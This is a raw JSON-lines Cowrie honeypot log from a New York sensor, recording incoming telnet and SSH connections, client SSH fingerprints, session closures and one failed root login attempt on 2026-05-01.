{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47026,"dst_ip":"159.203.135.109","dst_port":23,"session":"45ebf1a2f2b4","protocol":"telnet","message":"New connection: 51.15.157.40:47026 (159.203.135.109:23) [session: 45ebf1a2f2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:28.799075Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47490,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cc59e0f8bea","protocol":"telnet","message":"New connection: 51.15.157.40:47490 (159.203.135.109:23) [session: 4cc59e0f8bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:28.955240Z"}
{"eventid":"cowrie.session.closed","duration":30.442659616470337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:29.243720Z","src_ip":"51.15.157.40","session":"6063f21392f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":39554,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0ec0eeaf90d","protocol":"telnet","message":"New connection: 51.15.157.40:39554 (159.203.135.109:23) [session: f0ec0eeaf90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:29.372806Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":49556,"dst_ip":"159.203.135.109","dst_port":23,"session":"100b88838777","protocol":"telnet","message":"New connection: 51.15.157.40:49556 (159.203.135.109:23) [session: 100b88838777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:29.662581Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":35498,"dst_ip":"159.203.135.109","dst_port":23,"session":"b65bd95b1610","protocol":"telnet","message":"New connection: 157.15.20.138:35498 (159.203.135.109:23) [session: b65bd95b1610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:29.696876Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":35496,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ecea003bafb","protocol":"telnet","message":"New connection: 157.15.20.138:35496 (159.203.135.109:23) [session: 0ecea003bafb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:29.746500Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":49886,"dst_ip":"159.203.135.109","dst_port":23,"session":"300790a90e0b","protocol":"telnet","message":"New connection: 51.15.157.40:49886 (159.203.135.109:23) [session: 300790a90e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:29.865267Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":44646,"dst_ip":"159.203.135.109","dst_port":23,"session":"4af91776b035","protocol":"telnet","message":"New connection: 104.236.196.85:44646 (159.203.135.109:23) [session: 4af91776b035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:30.212371Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":50860,"dst_ip":"159.203.135.109","dst_port":23,"session":"ceca54cb35d6","protocol":"telnet","message":"New connection: 51.15.157.40:50860 (159.203.135.109:23) [session: ceca54cb35d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:30.242884Z"}
{"eventid":"cowrie.session.closed","duration":30.61083221435547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:30.296239Z","src_ip":"51.15.157.40","session":"cf5591344d71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.803220748901367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:30.501902Z","src_ip":"51.15.157.40","session":"a8499589f32b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.815857648849487,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:30.505838Z","src_ip":"51.15.157.40","session":"b5bffb3ed6f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":52120,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c8bd3a6b474","protocol":"telnet","message":"New connection: 51.15.157.40:52120 (159.203.135.109:23) [session: 2c8bd3a6b474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:30.615077Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":35508,"dst_ip":"159.203.135.109","dst_port":23,"session":"a850bf3d194b","protocol":"telnet","message":"New connection: 157.15.20.138:35508 (159.203.135.109:23) [session: a850bf3d194b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:30.619713Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":35512,"dst_ip":"159.203.135.109","dst_port":23,"session":"d82d32f87d89","protocol":"telnet","message":"New connection: 157.15.20.138:35512 (159.203.135.109:23) [session: d82d32f87d89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:30.653852Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":52498,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c67827fc32c","protocol":"telnet","message":"New connection: 51.15.157.40:52498 (159.203.135.109:23) [session: 3c67827fc32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:30.734209Z"}
{"eventid":"cowrie.session.closed","duration":31.12009906768799,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:30.814453Z","src_ip":"51.15.157.40","session":"0b7faeb3555b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":34260,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6fb036afb80","protocol":"telnet","message":"New connection: 89.39.83.70:34260 (159.203.135.109:23) [session: b6fb036afb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:30.927736Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":44610,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ff144c7a445","protocol":"telnet","message":"New connection: 51.15.157.40:44610 (159.203.135.109:23) [session: 4ff144c7a445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:31.112692Z"}
{"eventid":"cowrie.session.closed","duration":30.46426773071289,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:31.171201Z","src_ip":"157.15.20.138","session":"5c19e7ff89da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.879621028900146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:31.201076Z","src_ip":"51.15.157.40","session":"80e43cf40bec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":50908,"dst_ip":"159.203.135.109","dst_port":23,"session":"32b6a61ffd08","protocol":"telnet","message":"New connection: 51.15.157.40:50908 (159.203.135.109:23) [session: 32b6a61ffd08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:31.265368Z"}
{"eventid":"cowrie.session.closed","duration":30.756359338760376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:31.320303Z","src_ip":"51.15.157.40","session":"48202c2e37c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":54780,"dst_ip":"10.17.0.5","dst_port":22,"session":"77cc6806ee0c","protocol":"ssh","message":"New connection: 221.139.88.149:54780 (10.17.0.5:22) [session: 77cc6806ee0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:31.404234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:31.412108Z","src_ip":"221.139.88.149","session":"77cc6806ee0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.51319408416748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:31.415979Z","src_ip":"34.69.118.1","session":"94f76da3c0c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.83300256729126,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:31.656662Z","src_ip":"162.240.69.168","session":"f3fb3eb8f505","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":35522,"dst_ip":"159.203.135.109","dst_port":23,"session":"61b1cce4f99f","protocol":"telnet","message":"New connection: 157.15.20.138:35522 (159.203.135.109:23) [session: 61b1cce4f99f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:31.663039Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:31.685875Z","src_ip":"221.139.88.149","session":"77cc6806ee0c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:31.974740Z","src_ip":"122.168.114.167","session":"3b808e30143a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:31.979165Z","src_ip":"122.168.114.167","session":"3b808e30143a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.177213430404663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:32.064530Z","src_ip":"51.15.157.40","session":"800fbd600c6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37725067138672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:32.242571Z","src_ip":"51.15.157.40","session":"50c870812ca5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.868470191955566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:32.350935Z","src_ip":"51.15.157.40","session":"0344cb358d5c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"810827","message":"login attempt [root/810827] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:32.600735Z","src_ip":"221.139.88.149","session":"77cc6806ee0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":35538,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f8fba86c9ec","protocol":"telnet","message":"New connection: 157.15.20.138:35538 (159.203.135.109:23) [session: 5f8fba86c9ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:32.740694Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":58854,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b997a26a37e","protocol":"telnet","message":"New connection: 51.15.157.40:58854 (159.203.135.109:23) [session: 3b997a26a37e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:32.789045Z"}
{"eventid":"cowrie.session.closed","duration":30.548461437225342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:33.174356Z","src_ip":"51.15.157.40","session":"53477e449832","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34230613708496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:33.179682Z","src_ip":"157.15.20.138","session":"b21d1b9c7493","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.246199369430542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:33.216845Z","src_ip":"51.15.157.40","session":"adc5746ed3a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":60436,"dst_ip":"159.203.135.109","dst_port":23,"session":"d86444ebf9f4","protocol":"telnet","message":"New connection: 51.15.157.40:60436 (159.203.135.109:23) [session: d86444ebf9f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:33.339668Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":60560,"dst_ip":"159.203.135.109","dst_port":23,"session":"420fb896ae90","protocol":"telnet","message":"New connection: 51.15.157.40:60560 (159.203.135.109:23) [session: 420fb896ae90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:33.382907Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":51414,"dst_ip":"159.203.135.109","dst_port":23,"session":"543b0e84b69d","protocol":"telnet","message":"New connection: 51.15.157.40:51414 (159.203.135.109:23) [session: 543b0e84b69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:33.428961Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":60766,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec074ad7cad9","protocol":"telnet","message":"New connection: 51.15.157.40:60766 (159.203.135.109:23) [session: ec074ad7cad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:33.433582Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":60914,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7c5b4b23c97","protocol":"telnet","message":"New connection: 51.15.157.40:60914 (159.203.135.109:23) [session: c7c5b4b23c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:33.468541Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":59900,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c098e7c5c6e","protocol":"telnet","message":"New connection: 103.171.45.122:59900 (159.203.135.109:23) [session: 9c098e7c5c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:33.525481Z"}
{"eventid":"cowrie.session.closed","duration":30.753883361816406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:33.533198Z","src_ip":"51.15.157.40","session":"12df0e0a5e6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":33588,"dst_ip":"159.203.135.109","dst_port":23,"session":"cca34b81b7bb","protocol":"telnet","message":"New connection: 51.15.157.40:33588 (159.203.135.109:23) [session: cca34b81b7bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:33.742913Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":35554,"dst_ip":"159.203.135.109","dst_port":23,"session":"c26227724e65","protocol":"telnet","message":"New connection: 157.15.20.138:35554 (159.203.135.109:23) [session: c26227724e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:33.755622Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:33.831793Z","src_ip":"221.139.88.149","session":"77cc6806ee0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.076717376708984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:33.845802Z","src_ip":"51.15.157.40","session":"320091555371","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.019275426864624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:33.902565Z","src_ip":"51.15.157.40","session":"ca592c229799","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":36364,"dst_ip":"159.203.135.109","dst_port":23,"session":"2676edcb0a48","protocol":"telnet","message":"New connection: 51.15.157.40:36364 (159.203.135.109:23) [session: 2676edcb0a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:34.455825Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":36902,"dst_ip":"159.203.135.109","dst_port":23,"session":"a42f7b412c93","protocol":"telnet","message":"New connection: 51.15.157.40:36902 (159.203.135.109:23) [session: a42f7b412c93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:34.578083Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":37388,"dst_ip":"159.203.135.109","dst_port":23,"session":"2736ec03c021","protocol":"telnet","message":"New connection: 51.15.157.40:37388 (159.203.135.109:23) [session: 2736ec03c021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:34.704118Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":35564,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b5b40fb9d67","protocol":"telnet","message":"New connection: 157.15.20.138:35564 (159.203.135.109:23) [session: 1b5b40fb9d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:34.760730Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":33664,"dst_ip":"159.203.135.109","dst_port":23,"session":"9be2b74120d1","protocol":"telnet","message":"New connection: 51.15.157.40:33664 (159.203.135.109:23) [session: 9be2b74120d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:34.767263Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":37994,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bda7607e163","protocol":"telnet","message":"New connection: 51.15.157.40:37994 (159.203.135.109:23) [session: 1bda7607e163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:34.844362Z"}
{"eventid":"cowrie.session.closed","duration":31.19273829460144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:34.941632Z","src_ip":"34.69.118.1","session":"5464eaca4996","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":45058,"dst_ip":"159.203.135.109","dst_port":23,"session":"17fe4163e559","protocol":"telnet","message":"New connection: 34.69.118.1:45058 (159.203.135.109:23) [session: 17fe4163e559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:34.971367Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":33854,"dst_ip":"159.203.135.109","dst_port":23,"session":"3988da114c61","protocol":"telnet","message":"New connection: 62.171.133.168:33854 (159.203.135.109:23) [session: 3988da114c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:35.164930Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":35580,"dst_ip":"159.203.135.109","dst_port":23,"session":"39a652b5de57","protocol":"telnet","message":"New connection: 157.15.20.138:35580 (159.203.135.109:23) [session: 39a652b5de57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:35.231690Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":41644,"dst_ip":"159.203.135.109","dst_port":23,"session":"a822ee3fb045","protocol":"telnet","message":"New connection: 103.171.45.122:41644 (159.203.135.109:23) [session: a822ee3fb045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:35.248227Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":41646,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc6b3d7a983f","protocol":"telnet","message":"New connection: 103.171.45.122:41646 (159.203.135.109:23) [session: dc6b3d7a983f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:35.442951Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":41654,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3ae79663445","protocol":"telnet","message":"New connection: 103.171.45.122:41654 (159.203.135.109:23) [session: b3ae79663445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:35.502910Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":35592,"dst_ip":"159.203.135.109","dst_port":23,"session":"378c670d5e23","protocol":"telnet","message":"New connection: 157.15.20.138:35592 (159.203.135.109:23) [session: 378c670d5e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:35.784513Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":41488,"dst_ip":"159.203.135.109","dst_port":23,"session":"36d4563d6c9e","protocol":"telnet","message":"New connection: 51.15.157.40:41488 (159.203.135.109:23) [session: 36d4563d6c9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:35.956276Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":41666,"dst_ip":"159.203.135.109","dst_port":23,"session":"16b7ccbe5383","protocol":"telnet","message":"New connection: 103.171.45.122:41666 (159.203.135.109:23) [session: 16b7ccbe5383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:35.976509Z"}
